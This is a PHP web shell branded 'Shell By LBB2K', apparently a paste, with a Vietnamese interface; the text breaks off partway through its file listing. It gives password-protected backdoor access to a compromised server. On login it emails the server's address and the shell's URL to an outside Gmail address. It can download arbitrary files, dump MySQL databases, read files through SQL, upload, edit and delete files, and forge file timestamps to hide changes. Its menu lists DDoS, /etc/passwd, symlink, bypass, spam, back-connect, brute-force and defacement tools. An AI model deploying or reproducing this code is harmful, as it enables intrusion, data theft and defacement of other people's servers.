· 9 years ago · Jan 10, 2017, 10:04 PM
1<?php ?><?php
2error_reporting(7);
3@set_magic_quotes_runtime(0);
4ob_start();
5$mtime = explode(' ', microtime());
6$starttime = $mtime[1] + $mtime[0];
7define('SA_ROOT', str_replace('\\', '/', dirname('index.php')) . '/');
8define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
9define('IS_COM', class_exists('COM') ? 1 : 0);
10define('IS_GPC', get_magic_quotes_gpc());
11$dis_func = get_cfg_var('disable_functions');
12define('IS_PHPINFO', (!eregi("phpinfo", $dis_func)) ? 1 : 0);
13@set_time_limit(0);
14foreach (array('_GET', '_POST') as $_request) {
15 foreach ($$_request as $_key => $_value) {
16 if ($_key{0} != '_') {
17 if (IS_GPC) {
18 $_value = s_array($_value);
19 }
20 $$_key = $_value;
21 }
22 }
23}
24$admin = array();
25$admin['check'] = true;
26$admin['pass'] = 'LBB2K';
27$admin['cookiepre'] = '';
28$admin['cookiedomain'] = '';
29$admin['cookiepath'] = '/';
30$admin['cookielife'] = 86400;
31if ($charset == 'utf8') {
32 header("content-Type: text/html; charset=utf-8");
33} elseif ($charset == 'big5') {
34 header("content-Type: text/html; charset=big5");
35} elseif ($charset == 'gbk') {
36 header("content-Type: text/html; charset=gbk");
37} elseif ($charset == 'latin1') {
38 header("content-Type: text/html; charset=iso-8859-2");
39}
40$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
41$timestamp = time();
42if ($action == "logout") {
43 scookie('LBB2K', '', -86400 * 365);
44 p('<meta http-equiv="refresh" content="0;URL=' . $self . '">');
45 p('<body background=black>');
46 exit;
47}
48if ($admin['check']) {
49 if ($doing == 'login') {
50 if ($admin['pass'] == $password) {
51 scookie('LBB2K', $password);
52 $time_shell = "" . date("d/m/Y - H:i:s") . "";
53 $ip_remote = $_SERVER["REMOTE_ADDR"];
54 $from_shellcode = 'shell@' . gethostbyname($_SERVER['SERVER_NAME']) . '';
55 $to_email = 'baotoilets1@gmail.com';
56 $server_mail = "" . gethostbyname($_SERVER['SERVER_NAME']) . " - " . $_SERVER['HTTP_HOST'] . "";
57 $linkcr = "Link: " . $_SERVER['SERVER_NAME'] . "" . $_SERVER['REQUEST_URI'] . " - IP Excuting: $ip_remote - Time: $time_shell";
58 $header = "From: $from_shellcode\r\nReply-to: $from_shellcode";
59 @mail($to_email, $server_mail, $linkcr, $header);
60 p('<meta http-equiv="refresh" content="2;URL=' . $self . '">');
61 p('<body bgcolor=black>
62<BR><BR><div align=center><font color=yellow face=tahoma size=2>Chào các bạn những thành viên của >| LBB2K
63 |< Loading..... Please wait...<BR><img src=http://i.imgur.com/xeIh2M8.gif><img src=http://i.imgur.com/hYRZlEB.gif></div>');
64 exit;
65 } else {
66 $err_mess = '<table width=100%><tr><td bgcolor=#0E0E0E width=100% height=24><div align=center><font color=red face=tahoma size=2><blink> Mày Là Hacker Phải Không! Cút Gấp ..... </blink><BR></font></div></td></tr></table>';
67 echo $err_mess;
68 }
69 }
70 if ($_COOKIE['LBB2K']) {
71 if ($_COOKIE['LBB2K'] != $admin['pass']) {
72 loginpage();
73 }
74 } else {
75 loginpage();
76 }
77}
78$errmsg = '';
79if ($action == 'phpinfo') {
80 if (IS_PHPINFO) {
81 phpinfo();
82 } else {
83 $errmsg = 'phpinfo() function has non-permissible';
84 }
85}
86if ($doing == 'downfile' && $thefile) {
87 if (!@file_exists($thefile)) {
88 $errmsg = 'The file you want Downloadable was nonexistent';
89 } else {
90 $fileinfo = pathinfo($thefile);
91 header('Content-type: application/x-' . $fileinfo['extension']);
92 header('Content-Disposition: attachment; filename=' . $fileinfo['basename']);
93 header('Content-Length: ' . filesize($thefile));
94 @readfile($thefile);
95 exit;
96 }
97}
98if ($doing == 'backupmysql' && !$saveasfile) {
99 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
100 $table = array_flip($table);
101 $result = q("SHOW tables");
102 if (!$result) p('<h2>' . mysql_error() . '</h2>');
103 $filename = basename($_SERVER['HTTP_HOST'] . '_MySQL.sql');
104 header('Content-type: application/unknown');
105 header('Content-Disposition: attachment; filename=' . $filename);
106 $mysqldata = '';
107 while ($currow = mysql_fetch_array($result)) {
108 if (isset($table[$currow[0]])) {
109 $mysqldata.= sqldumptable($currow[0]);
110 }
111 }
112 mysql_close();
113 exit;
114}
115if ($doing == 'mysqldown') {
116 if (!$dbname) {
117 $errmsg = ' dbname';
118 } else {
119 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
120 if (!file_exists($mysqldlfile)) {
121 $errmsg = 'The file you want Downloadable was nonexistent';
122 } else {
123 $result = q("select load_file('$mysqldlfile');");
124 if (!$result) {
125 q("DROP TABLE IF EXISTS tmp_angel;");
126 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
127 q("LOAD DATA LOCAL INFILE '" . addslashes($mysqldlfile) . "' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
128 $result = q("select content from tmp_angel");
129 q("DROP TABLE tmp_angel");
130 }
131 $row = @mysql_fetch_array($result);
132 if (!$row) {
133 $errmsg = 'Load file failed ' . mysql_error();
134 } else {
135 $fileinfo = pathinfo($mysqldlfile);
136 header('Content-type: application/x-' . $fileinfo['extension']);
137 header('Content-Disposition: attachment; filename=' . $fileinfo['basename']);
138 header("Accept-Length: " . strlen($row[0]));
139 echo $row[0];
140 exit;
141 }
142 }
143 }
144};
145echo '<html>
146<link rel="shortcut icon" href="https://scontent-sea1-1.xx.fbcdn.net/v/t1.0-9/15253464_431554547233538_6526922443750512337_n.jpg?oh=e2390a879f67bc4831ebe80e333bcf87&oe=58B1FB56" />
147<script language="javascript">
148var rev = "fwd";
149function titlebar(val)
150{
151var msg = "::. Shell By LBB2K .::";
152var res = " ";
153var speed = 100;
154var pos = val;
155msg = "===> "+msg+" <===";
156var le = msg.length;
157if(rev == "fwd"){
158if(pos < le){
159pos = pos+1;
160scroll = msg.substr(0,pos);
161document.title = scroll;
162timer = window.setTimeout("titlebar("+pos+")",speed);
163}
164else{
165rev = "bwd";
166timer = window.setTimeout("titlebar("+pos+")",speed);
167}
168}
169else{
170if(pos > 0){
171pos = pos-1;
172var ale = le-pos;
173scrol = msg.substr(ale,le);
174document.title = scrol;
175timer = window.setTimeout("titlebar("+pos+")",speed);
176}
177else{
178rev = "fwd";
179timer = window.setTimeout("titlebar("+pos+")",speed);
180}
181}
182}
183titlebar(0);
184</script>
185<link rel="shortcut icon" href="https://scontent-sea1-1.xx.fbcdn.net/v/t1.0-9/15253464_431554547233538_6526922443750512337_n.jpg?oh=e2390a879f67bc4831ebe80e333bcf87&oe=58B1FB56" />
186<object width="1" height="1"> <param name="movie" value="http://www.nhaccuatui.com/mh/auto/ANF0eXFr8NuI" /> <param name="quality" value="high" /> <param name="wmode" value="transparent" /> <param name="allowscriptaccess" value="always" /> <param name="allowfullscreen" value="true"/> <param name="flashvars" value="autostart=true" /> <embed src="http://www.nhaccuatui.com/mh/auto/ANF0eXFr8NuI" flashvars="target=blank&autostart=true" allowscriptaccess="always" allowfullscreen="true" quality="high" wmode="transparent" type="application/x-shockwave-flash" width="1" height="1"></embed></object>
187<head>
188<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
189<title>';
190echo "Website : " . $_SERVER['HTTP_HOST'] . "";;
191echo ' | ';
192echo "IP : " . gethostbyname($_SERVER['SERVER_NAME']) . "";;
193echo ' </title>
194<style type="text/css">
195body,td{font: 10pt Tahoma;color:#00FF00;line-height: 16px;}
196
197a {color: #FFFF00;text-decoration:none;}
198a:hover{color: #00FF00;text-decoration:underline;}
199.alt1 td{border-top:1px solid gray;border-bottom:1px solid gray;background:rgba(255, 255, 255, 0.12);padding:5px 10px 5px 5px;}
200.alt2 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#f9f9f9;padding:5px 10px 5px 5px;}
201.focus td{border-top:1px solid gray;border-bottom:0px solid gray;background:rgba(255, 0, 0, 0.65);padding:5px 10px 5px 5px;}
202.fout1 td{border-top:1px solid gray;border-bottom:0px solid gray;background:rgba(82, 0, 255, 0.37);padding:5px 10px 5px 5px;}
203.fout td{border-top:1px solid gray;border-bottom:0px solid gray;background:#202020;padding:5px 10px 5px 5px;}
204.head td{border-top:1px solid gray;border-bottom:1px solid gray;background:rgba(0, 0, 255, 0.65);padding:5px 10px 5px 5px;font-weight:bold;}
205.head_small td{border-top:1px solid gray;border-bottom:1px solid gray;background:;padding:5px 10px 5px 5px;font-weight:normal;font-size:8pt;}
206.head td span{font-weight:normal;}
207form{margin:0;padding:0;}
208h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
209ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
210u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
211input, textarea, button
212{
213 font-size: 9pt;
214 color: #FFF;
215 font-family: verdana, sans-serif;
216 background-color: rgba(255, 0, 0, 0.61);
217 border-left: 1px solid #74A202;
218 border-top: 1px solid #74A202;
219 border-right: 1px solid #74A202;
220 border-bottom: 1px solid #74A202;
221}
222select
223{
224 font-size: 8pt;
225 font-weight: normal;
226 color: #ccc;
227 font-family: verdana, sans-serif;
228 background-color: #202020;
229}
230
231</style>
232<script type="text/javascript">
233function CheckAll(form) {
234 for(var i=0;i<form.elements.length;i++) {
235 var e = form.elements[i];
236 if (e.name != \'chkall\')
237 e.checked = form.chkall.checked;
238 }
239}
240function $(id) {
241 return document.getElementById(id);
242}
243function goaction(act){
244 $(\'goaction\').action.value=act;
245 $(\'goaction\').submit();
246}
247</script>
248</head>
249<body onLoad="init()" style="margin:0;table-layout:fixed; word-break:break-all" bgcolor=black background=http://i.imgur.com/OSuFP4T.gif>
250<div border="0" style="position:fixed; width: 100%; height: 25px; z-index: 1; top: 300px; left: 0;" id="loading" align="center" valign="center">
251 <table border="1" width="110px" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#003300">
252 <tr>
253 <td align="center" valign=center>
254 <div border="1" style="background-color: #0E0E0E; filter: alpha(opacity=70); opacity: .7; width: 110px; height: 25px; z-index: 1; border-collapse: collapse;" bordercolor="#006600" align="center">
255 LBB2K<img src="http://i.imgur.com/xeIh2M8.gif">
256 </div>
257 </td>
258 </tr>
259 </table>
260</div>
261 <script>
262 var ld=(document.all);
263 var ns4=document.layers;
264 var ns6=document.getElementById&&!document.all;
265 var ie4=document.all;
266 if (ns4)
267 ld=document.loading;
268 else if (ns6)
269 ld=document.getElementById("loading").style;
270 else if (ie4)
271 ld=document.all.loading.style;
272 function init()
273 {
274 if(ns4){ld.visibility="hidden";}
275 else if (ns6||ie4) ld.display="none";
276 }
277 </script>
278<table width="100%" border="0" cellpadding="0" cellspacing="0">
279 <tr class="head_small">
280 <td width=100%>
281 <table width=100%><tr class="head_small"><td width=86px><p><a title=" .:: Warning ! Shell is used to refer not to hack ::. " href="';
282$self;;
283echo '"><img src="https://scontent-sea1-1.xx.fbcdn.net/v/t1.0-9/15253464_431554547233538_6526922443750512337_n.jpg?oh=e2390a879f67bc4831ebe80e333bcf87&oe=58B1FB56" height=150 width=200></a></p>
284 </td>
285 <td>
286
287 <span style="float:left;"> ';
288echo "Hostname: " . $_SERVER['HTTP_HOST'] . "";;
289echo ' | Server IP: ';
290echo "<font color=yellow>" . gethostbyname($_SERVER['SERVER_NAME']) . "</font>";;
291echo ' | Your IP: ';
292echo "<font color=yellow>" . $_SERVER['REMOTE_ADDR'] . "</font>";;
293echo ' | <a href="https://www.facebook.com/LBB2K0" target="_blank">';
294echo str_replace('.', '', 'LBB2K profile');;
295echo ' </a> | <a href="javascript:goaction(\'logout\');"><font color=red>Đăng Xuất</font></a></span> <br />
296
297 ';
298$curl_on = @function_exists('curl_version');
299$mysql_on = @function_exists('mysql_connect');
300$mssql_on = @function_exists('mssql_connect');
301$pg_on = @function_exists('pg_connect');
302$ora_on = @function_exists('ocilogon');
303echo (($safe_mode) ? ("Safe_mod: <b><font color=green>ON</font></b> - ") : ("Safe_mod: <b><font color=red>OFF</font></b> - "));
304echo "PHP version: <b>" . @phpversion() . "</b> - ";
305echo "cURL: " . (($curl_on) ? ("<b><font color=green>ON</font></b> - ") : ("<b><font color=red>OFF</font></b> - "));
306echo "MySQL: <b>";
307$mysql_on = @function_exists('mysql_connect');
308if ($mysql_on) {
309 echo "<font color=green>ON</font></b> - ";
310} else {
311 echo "<font color=red>OFF</font></b> - ";
312}
313echo "MSSQL: <b>";
314$mssql_on = @function_exists('mssql_connect');
315if ($mssql_on) {
316 echo "<font color=green>ON</font></b> - ";
317} else {
318 echo "<font color=red>OFF</font></b> - ";
319}
320echo "PostgreSQL: <b>";
321$pg_on = @function_exists('pg_connect');
322if ($pg_on) {
323 echo "<font color=green>ON</font></b> - ";
324} else {
325 echo "<font color=red>OFF</font></b> - ";
326}
327echo "Oracle: <b>";
328$ora_on = @function_exists('ocilogon');
329if ($ora_on) {
330 echo "<font color=green>ON</font></b>";
331} else {
332 echo "<font color=red>OFF</font></b><BR>";
333}
334echo "Disable functions : <b>";
335if ('' == ($df = @ini_get('disable_functions'))) {
336 echo "<font color=green>NONE</font></b><BR>";
337} else {
338 echo "<font color=red>$df</font></b><BR>";
339}
340echo "<font color=white>Uname -a</font>: " . @substr(@php_uname(), 0, 120) . "<br>";
341echo "<font color=white>Server</font>: " . @substr($SERVER_SOFTWARE, 0, 120) . " - <font color=white>id</font>: " . @getmyuid() . "(" . @get_current_user() . ") - uid=" . @getmyuid() . " (" . @get_current_user() . ") gid=" . @getmygid() . "(" . @get_current_user() . ")<br>";;
342echo '</td></tr></table></td>
343 </tr>
344 <tr class="alt1">
345 <td width=10%>
346 <a href="javascript:goaction(\'file\');">Manager</a> |
347 <a href="javascript:goaction(\'ddos\');">LBB2K DDOS</a> |
348 <a href="javascript:goaction(\'jump\');">Jump</a> |
349 <a href="javascript:goaction(\'sqladmin\');">SQL</a> |
350 <a href="javascript:goaction(\'leech\');">Leech</a> ';
351if (!IS_WIN) {;
352 echo ' | <a href="javascript:goaction(\'dumper\');">Dumper</a>';
353};
354echo ' | <a href="javascript:goaction(\'md5\');">Md5</a>';
355echo ' | <a href="javascript:goaction(\'crack\');">Crack</a>';
356if (!IS_WIN) {;
357 echo ' | <a href="javascript:goaction(\'etcpwd\');">/etc/passwd</a> ';
358};
359echo ' ';
360if (!IS_WIN) {;
361 echo ' | <a href="javascript:goaction(\'symlink\');">Symlink</a> ';
362};
363echo ' ';
364if (!IS_WIN) {;
365 echo ' | <a href="javascript:goaction(\'newcommand\');">Command</a> ';
366};
367echo ' ';
368if (!IS_WIN) {;
369 echo ' | <a href="javascript:goaction(\'error.log\');">Cgi</a>';
370};
371echo ' ';
372if (!IS_WIN) {;
373 echo ' | <a href="error/error.log" target="_blank">Open Cgi</a>';
374};
375echo ' ';
376if (!IS_WIN) {;
377 echo ' | <a href="javascript:goaction(\'symroot\');">Root</a>';
378};
379echo ' ';
380if (!IS_WIN) {;
381 echo ' | <a href="symroot.php" target="_blank">Open Root</a>';
382};
383echo ' ';
384if (!IS_WIN) {;
385 echo ' | <a href="javascript:goaction(\'bypass\');">By Pass</a>';
386};
387echo ' ';
388if (!IS_WIN) {;
389 echo ' | <a href="javascript:goaction(\'spam\');">Spam</a>';
390};
391echo ' ';
392if (!IS_WIN) {;
393 echo ' | <a href="javascript:goaction(\'backconnect\');">Back</a>';
394};
395echo ' ';
396if (!IS_WIN) {;
397 echo ' | <a href="javascript:goaction(\'brute\');">Brute</a> ';
398};
399echo ' ';
400if (!IS_WIN) {;
401 echo ' | <a href="javascript:goaction(\'command\');">CM</a> ';
402};
403echo ' ';
404if (!IS_WIN) {;
405 echo ' | <a href="javascript:goaction(\'handstool\');">Tools</a>';
406}
407echo ' ';
408if (!IS_WIN) {;
409 echo ' | <a href="javascript:goaction(\'scanshell\');">Scan-Shell</a>';
410}
411echo ' ';
412if (!IS_WIN) {;
413 echo ' | <a href="javascript:goaction(\'backphp\');">backphp.php</a>';
414}
415echo ' ';
416if (!IS_WIN) {;
417 echo ' | <a href="javascript:goaction(\'indexLBB2K\');">Deface</a>';
418};
419echo '
420
421
422 </td>
423 </tr>
424</table>
425<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
426';
427formhead(array('name' => 'goaction'));
428makehide('action');
429formfoot();
430$errmsg && m($errmsg);
431!$dir && $dir = '.';
432$nowpath = getPath(SA_ROOT, $dir);
433if (substr($dir, -1) != '/') {
434 $dir = $dir . '/';
435}
436$uedir = ue($dir);
437if (!$action || $action == 'file') {
438 $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
439 if ($doing == 'deldir' && $thefile) {
440 if (!file_exists($thefile)) {
441 m($thefile . ' directory does not exist');
442 } else {
443 m('Xóa Thư mục ' . (deltree($thefile) ? basename($thefile) . ' Thành Công' : ' Thất Bại'));
444 }
445 } elseif ($newdirname) {
446 $mkdirs = $nowpath . $newdirname;
447 if (file_exists($mkdirs)) {
448 m('Directory has already existed');
449 } else {
450 m('Tạo Thư Mục ' . (@mkdir($mkdirs, 0777) ? 'Thành Công' : 'Thất Bại'));
451 @chmod($mkdirs, 0777);
452 }
453 } elseif ($doupfile) {
454 m('Tải File Lên ' . (@copy($_FILES['uploadfile']['tmp_name'], $uploaddir . '/' . $_FILES['uploadfile']['name']) ? 'Thành Công' : 'Thất Bại'));
455 } elseif ($editfilename && $filecontent) {
456 $fp = @fopen($editfilename, 'w');
457 m('Tạo File ' . (@fwrite($fp, $filecontent) ? 'Thành Công' : 'Thất Bại'));
458 @fclose($fp);
459 } elseif ($pfile && $newperm) {
460 if (!file_exists($pfile)) {
461 m('Các Tệp Tin Gốc Không tồn Tại');
462 } else {
463 $newperm = base_convert($newperm, 8, 10);
464 m('Thay Đổi Thuộc Tính Tệp Tin ' . (@chmod($pfile, $newperm) ? ' Thành Công' : ' Thất Bại'));
465 }
466 } elseif ($oldname && $newfilename) {
467 $nname = $nowpath . $newfilename;
468 if (file_exists($nname) || !file_exists($oldname)) {
469 m($nname . 'Các Tệp Tin Mục Tiêu Đã Tồn Tại Hoặc Không Tồn Tại Tệp Tin Gốc');
470 } else {
471 m(basename($oldname) . ' Đổi Tên Thành ' . basename($nname) . (@rename($oldname, $nname) ? ' Thành Công' : ' Thất Bại'));
472 }
473 } elseif ($sname && $tofile) {
474 if (file_exists($tofile) || !file_exists($sname)) {
475 m('The goal file has already existed or original file does not exist');
476 } else {
477 m(basename($tofile) . ' Sao Chép ' . (@copy($sname, $tofile) ? basename($tofile) . ' success' : 'failed'));
478 }
479 } elseif ($curfile && $tarfile) {
480 if (!@file_exists($curfile) || !@file_exists($tarfile)) {
481 m('Các Tệp Tin Mục Tiêu Đã Tồn Tại Hoặc Không Tồn Tại Tệp Tin Gốc');
482 } else {
483 $time = @filemtime($tarfile);
484 m('Sử Đổi Tệp Tin, Sửa Đổi Cuối Cùng ' . (@touch($curfile, $time, $time) ? 'Thành Công' : 'Thất Bại'));
485 }
486 } elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
487 if (!@file_exists($curfile)) {
488 m(basename($curfile) . ' Không Tồn Tại');
489 } else {
490 $time = strtotime("$year-$month-$day $hour:$minute:$second");
491 m('Sửa Đổi Tệp Tin Cuối Cùng ' . (@touch($curfile, $time, $time) ? ' Thành Công' : 'Thất Bại'));
492 }
493 } elseif ($doing == 'downrar') {
494 if ($dl) {
495 $dfiles = '';
496 foreach ($dl as $filepath => $value) {
497 $dfiles.= $filepath . ',';
498 }
499 $dfiles = substr($dfiles, 0, strlen($dfiles) - 1);
500 $dl = explode(',', $dfiles);
501 $zip = new PHPZip($dl);
502 $code = $zip->out;
503 header('Content-type: application/octet-stream');
504 header('Accept-Ranges: bytes');
505 header('Accept-Length: ' . strlen($code));
506 header('Content-Disposition: attachment;filename=' . $_SERVER['HTTP_HOST'] . '_Files.tar.gz');
507 echo $code;
508 exit;
509 } else {
510 m('Please select file(s)');
511 }
512 } elseif ($doing == 'delfiles') {
513 if ($dl) {
514 $dfiles = '';
515 $succ = $fail = 0;
516 foreach ($dl as $filepath => $value) {
517 if (@unlink($filepath)) {
518 $succ++;
519 } else {
520 $fail++;
521 }
522 }
523 m('Xóa Thành Công ' . $succ . ' File, Thất Bại ' . $fail);
524 } else {
525 m('Please select file(s)');
526 }
527 }
528 formhead(array('name' => 'createdir'));
529 makehide('newdirname');
530 makehide('dir', $nowpath);
531 formfoot();
532 formhead(array('name' => 'fileperm'));
533 makehide('newperm');
534 makehide('pfile');
535 makehide('dir', $nowpath);
536 formfoot();
537 formhead(array('name' => 'copyfile'));
538 makehide('sname');
539 makehide('tofile');
540 makehide('dir', $nowpath);
541 formfoot();
542 formhead(array('name' => 'rename'));
543 makehide('oldname');
544 makehide('newfilename');
545 makehide('dir', $nowpath);
546 formfoot();
547 formhead(array('name' => 'fileopform'));
548 makehide('action');
549 makehide('opfile');
550 makehide('dir');
551 formfoot();
552 $free = @disk_free_space($nowpath);
553 !$free && $free = 0;
554 $all = @disk_total_space($nowpath);
555 !$all && $all = 0;
556 $used = $all - $free;
557 $used_percent = @round(100 / ($all / $free), 2);
558 p('<font color=yellow face=tahoma size=2><B>Dung Lượng Của Host</b> </font> Dung Lượng Đã Dùng <font color=red>' . sizecount($free) . '</font> Trong Tổng <font color=red>' . sizecount($all) . '</font> (<font color=red>' . $used_percent . '</font>%)</font>');;
559 echo '<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
560 <form action="" method="post" id="godir" name="godir">
561 <tr>
562 <td nowrap>Đường Dẫn Hiện Tại (';
563 echo $dir_writeable;;
564 echo ', ';
565 echo getChmod($nowpath);;
566 echo ')</td>
567 <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="';
568 echo $nowpath;;
569 echo '" type="text" style="width:100%;margin:0 8px;"></td>
570 <td nowrap><input class="bt" value="Thực Hiện" type="submit"></td>
571 </tr>
572 </form>
573</table>
574<script type="text/javascript">
575function createdir(){
576 var newdirname;
577 newdirname = prompt(\'directory name:\', \'\');
578 if (!newdirname) return;
579 $(\'createdir\').newdirname.value=newdirname;
580 $(\'createdir\').submit();
581}
582function fileperm(pfile){
583 var newperm;
584 newperm = prompt(\'Current file:\'+pfile+\'\\n new attribute:\', \'\');
585 if (!newperm) return;
586 $(\'fileperm\').newperm.value=newperm;
587 $(\'fileperm\').pfile.value=pfile;
588 $(\'fileperm\').submit();
589}
590function copyfile(sname){
591 var tofile;
592 tofile = prompt(\'Original file:\'+sname+\'\\n object file (fullpath):\', \'\');
593 if (!tofile) return;
594 $(\'copyfile\').tofile.value=tofile;
595 $(\'copyfile\').sname.value=sname;
596 $(\'copyfile\').submit();
597}
598function rename(oldname){
599 var newfilename;
600 newfilename = prompt(\'Former file name:\'+oldname+\'\\n new filename:\', \'\');
601 if (!newfilename) return;
602 $(\'rename\').newfilename.value=newfilename;
603 $(\'rename\').oldname.value=oldname;
604 $(\'rename\').submit();
605}
606function dofile(doing,thefile,m){
607 if (m && !confirm(m)) {
608 return;
609 }
610 $(\'filelist\').doing.value=doing;
611 if (thefile){
612 $(\'filelist\').thefile.value=thefile;
613 }
614 $(\'filelist\').submit();
615}
616function createfile(nowpath){
617 var filename;
618 filename = prompt(\'file name:\', \'\');
619 if (!filename) return;
620 opfile(\'editfile\',nowpath + filename,nowpath);
621}
622function opfile(action,opfile,dir){
623 $(\'fileopform\').action.value=action;
624 $(\'fileopform\').opfile.value=opfile;
625 $(\'fileopform\').dir.value=dir;
626 $(\'fileopform\').submit();
627}
628function godir(dir,view_writable){
629 if (view_writable) {
630 $(\'godir\').view_writable.value=1;
631 }
632 $(\'godir\').dir.value=dir;
633 $(\'godir\').submit();
634}
635</script>
636 ';
637 tbhead();
638 p('<form action="' . $self . '" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
639 p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="" name="doupfile" value="Tải Lên" type="submit" /><input name="uploaddir" value="' . $dir . '" type="hidden" /><input name="dir" value="' . $dir . '" type="hidden" /></div>');
640 p('<a href="javascript:godir(\'' . $_SERVER["DOCUMENT_ROOT"] . '\');">Lên Đầu</a>');
641 if ($view_writable) {
642 p(' | <a href="javascript:godir(\'' . $nowpath . '\');">Hiện Tất Cả</a>');
643 } else {
644 p(' | <a href="javascript:godir(\'' . $nowpath . '\',\'1\');">Chỉ Hiện Thư Mục</a>');
645 }
646 p(' | <a href="javascript:createdir();">Tạo Thư Mục</a> | <a href="javascript:createfile(\'' . $nowpath . '\');">Tạo File</a>');
647 if (IS_WIN && IS_COM) {
648 $obj = new COM('scripting.filesystemobject');
649 if ($obj && is_object($obj)) {
650 $DriveTypeDB = array(0 => 'Unknow', 1 => 'Removable', 2 => 'Fixed', 3 => 'Network', 4 => 'CDRom', 5 => 'RAM Disk');
651 foreach ($obj->Drives as $drive) {
652 if ($drive->DriveType == 2) {
653 p(' | <a href="javascript:godir(\'' . $drive->Path . '/\');" title="Size:' . sizecount($drive->TotalSize) . ' Free:' . sizecount($drive->FreeSpace) . ' Type:' . $DriveTypeDB[$drive->DriveType] . '">' . $DriveTypeDB[$drive->DriveType] . '(' . $drive->Path . ')</a>');
654 } else {
655 p(' | <a href="javascript:godir(\'' . $drive->Path . '/\');" title="Type:' . $DriveTypeDB[$drive->DriveType] . '">' . $DriveTypeDB[$drive->DriveType] . '(' . $drive->Path . ')</a>');
656 }
657 }
658 }
659 }
660 p('</td></tr></form>');
661 p('<tr class="head"><td> </td><td>Tên File</td><td width="16%">Lần Sửa Cuối Cùng</td><td width="10%">Kick Thước</td><td width="20%">Chmod / Perms</td><td width="22%">Cài Đặt</td></tr>');
662 $dirdata = array();
663 $filedata = array();
664 if ($view_writable) {
665 $dirdata = GetList($nowpath);
666 } else {
667 $dirs = @opendir($dir);
668 while ($file = @readdir($dirs)) {
669 $filepath = $nowpath . $file;
670 if (@is_dir($filepath)) {
671 $dirdb['filename'] = $file;
672 $dirdb['mtime'] = @date('Y-m-d H:i:s', filemtime($filepath));
673 $dirdb['dirchmod'] = getChmod($filepath);
674 $dirdb['dirperm'] = getPerms($filepath);
675 $dirdb['fileowner'] = getUser($filepath);
676 $dirdb['dirlink'] = $nowpath;
677 $dirdb['server_link'] = $filepath;
678 $dirdb['client_link'] = ue($filepath);
679 $dirdata[] = $dirdb;
680 } else {
681 $filedb['filename'] = $file;
682 $filedb['size'] = sizecount(@filesize($filepath));
683 $filedb['mtime'] = @date('Y-m-d H:i:s', filemtime($filepath));
684 $filedb['filechmod'] = getChmod($filepath);
685 $filedb['fileperm'] = getPerms($filepath);
686 $filedb['fileowner'] = getUser($filepath);
687 $filedb['dirlink'] = $nowpath;
688 $filedb['server_link'] = $filepath;
689 $filedb['client_link'] = ue($filepath);
690 $filedata[] = $filedb;
691 }
692 }
693 unset($dirdb);
694 unset($filedb);
695 @closedir($dirs);
696 }
697 @sort($dirdata);
698 @sort($filedata);
699 $dir_i = '0';
700 foreach ($dirdata as $key => $dirdb) {
701 if ($dirdb['filename'] != '..' && $dirdb['filename'] != '.') {
702 $thisbg = bg();
703 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
704 p('<td width="2%" nowrap><font face="wingdings" size="3">1</font></td>');
705 p('<td><a href="javascript:godir(\'' . $dirdb['server_link'] . '\');">' . $dirdb['filename'] . '</a></td>');
706 p('<td nowrap>' . $dirdb['mtime'] . '</td>');
707 p('<td nowrap>LBB2K</td>');
708 p('<td nowrap>');
709 p('<a href="javascript:fileperm(\'' . $dirdb['server_link'] . '\');">' . $dirdb['dirchmod'] . '</a> / ');
710 p('<a href="javascript:fileperm(\'' . $dirdb['server_link'] . '\');">' . $dirdb['dirperm'] . '</a>' . $dirdb['fileowner'] . '</td>');
711 p('<td nowrap><a href="javascript:dofile(\'deldir\',\'' . $dirdb['server_link'] . '\',\'Bạn Chắc Chắn Là Sẽ Xóa Thư Mục ' . $dirdb['filename'] . ' ? \\n\\nSẽ Xóa Tất Cả Các File Có Trong Thư Mục Này.\')">xóa Thư Mục</a> | <a href="javascript:rename(\'' . $dirdb['server_link'] . '\');">Đổi Tên Thư Mục</a></td>');
712 p('</tr>');
713 $dir_i++;
714 } else {
715 if ($dirdb['filename'] == '..') {
716 p('<tr class=fout>');
717 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\'' . getUpPath($nowpath) . '\');">Lên Trên</a></td>');
718 p('</tr>');
719 }
720 }
721 }
722 p('<tr bgcolor="green" stlye="border-top:1px solid gray;border-bottom:1px solid gray;"><td colspan="6" height="5"></td></tr>');
723 p('<form id="filelist" name="filelist" action="' . $self . '" method="post">');
724 makehide('action', 'file');
725 makehide('thefile');
726 makehide('doing');
727 makehide('dir', $nowpath);
728 $file_i = '0';
729 foreach ($filedata as $key => $filedb) {
730 if ($filedb['filename'] != '..' && $filedb['filename'] != '.') {
731 $fileurl = str_replace(SA_ROOT, '', $filedb['server_link']);
732 $thisbg = bg();
733 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
734 p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl[' . $filedb['server_link'] . ']"></td>');
735 p('<td><a href="' . $fileurl . '" target="_blank">' . $filedb['filename'] . '</a></td>');
736 p('<td nowrap>' . $filedb['mtime'] . '</td>');
737 p('<td nowrap>' . $filedb['size'] . '</td>');
738 p('<td nowrap>');
